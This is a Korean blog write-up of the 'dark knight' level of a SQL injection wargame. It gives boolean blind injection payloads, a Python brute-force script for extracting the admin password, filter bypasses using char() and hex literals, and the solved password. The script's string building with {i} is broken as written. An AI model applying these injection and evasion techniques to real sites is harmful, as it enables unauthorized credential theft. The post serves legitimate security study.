보안 공부/Load of SQL injection

[Load of SQL Injection] dark knight

sh1256 2022. 1. 28. 11:23
728x90

-참: URL + ?pw=1&&no=1 or (1 like 1) --> Hello guest 나타남

 

거짓: URL + ?pw=1&&no=1 or (1 like 2)

 

길이 알아내기+ pw 알아내기 시도 Hello admin이 나올 때 참!!

import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&&no=1 or "
length=8#hash는 17자리

for i in range(1, 30):
    length_srch=f"(length(pw) like {i})"
    print("length_srch: "+length_srch)
    response= requests.get(url+length_srch, cookies=cookies)
        #print(response.text)
    if response.text.find("Hello admin") !=-1:
        print("length: "+str(i))
        length=i
        break

print("length(pw): "+str(i))
pw= ""
for i in range(1, 10):
    for j in range(33, 125):#숫자부터 소문자z까지
        #    (ord(mid(pw, n, 1)) like ?) 
        search_str="(ord(mid(pw,"+{i}+",1)) like "+{j}+")"
        print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        if response.text.find("Hello admin") !=-1:
            pw+=chr(j)
            print("pw: "+pw)
            break

문제발생

8번째 pw가 출력되지 않는다. 

 

원인 분석 결과:

admin의 8번째 pw == guest의 8번째 pw 이기 때문에 Hello admin 대신 Hello guest가 출력됨.

 

문제 해결 방안:

1. id='admin'이라는 조건을 추가해야 한다.

2. '(홑따음표)는 필터링 되어 있는 상태

3. 'admin'대신 char(97,100,109,105,110) 사용

-->id=char(97,100,109,105,110)&&ord(mid(data, n, 1)) like ?

?? 왜인지 잘림

4. 'admin' 대신 0x61646d696e (16진수) 사용

-->id=0x61646d696e&&ord(mid(data, n, 1)) like ?

?? 이것도 잘림

4-1.  &&대신 and 사용

--> id=0x61646d696e and ord(mid(data, n, 1)) like ?

성공!!

 

그렇게 해서 얻은 admin의 pw는 0b70ea1f

?pw=0b70ea1f

입력하면 성공!!